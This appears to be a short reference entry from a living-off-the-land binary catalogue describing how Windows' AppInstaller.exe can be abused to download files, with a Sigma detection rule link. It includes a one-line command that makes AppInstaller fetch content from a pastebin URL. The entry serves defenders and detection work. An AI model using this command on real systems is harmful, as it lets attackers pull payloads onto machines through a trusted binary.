

.. /AppInstaller.exe

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Tool used for installation of AppX/MSIX applications on Windows 10

Paths:

C:\Program

Files\WindowsApps\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\AppInstaller.exe

Resources:

- <https://twitter.com/notwhickey/status/1333900137232523264>

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Detections:

- Sigma:
https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/dns_query/dns_query_win_lolbin_appinstaller.yml

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AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache.

```
start ms-appinstaller:///?source=https://pastebin.com/raw/tdyShwLw
```

Use case: Download file from Internet

Privileges required: User

Operating systems: Windows 10, Windows 11

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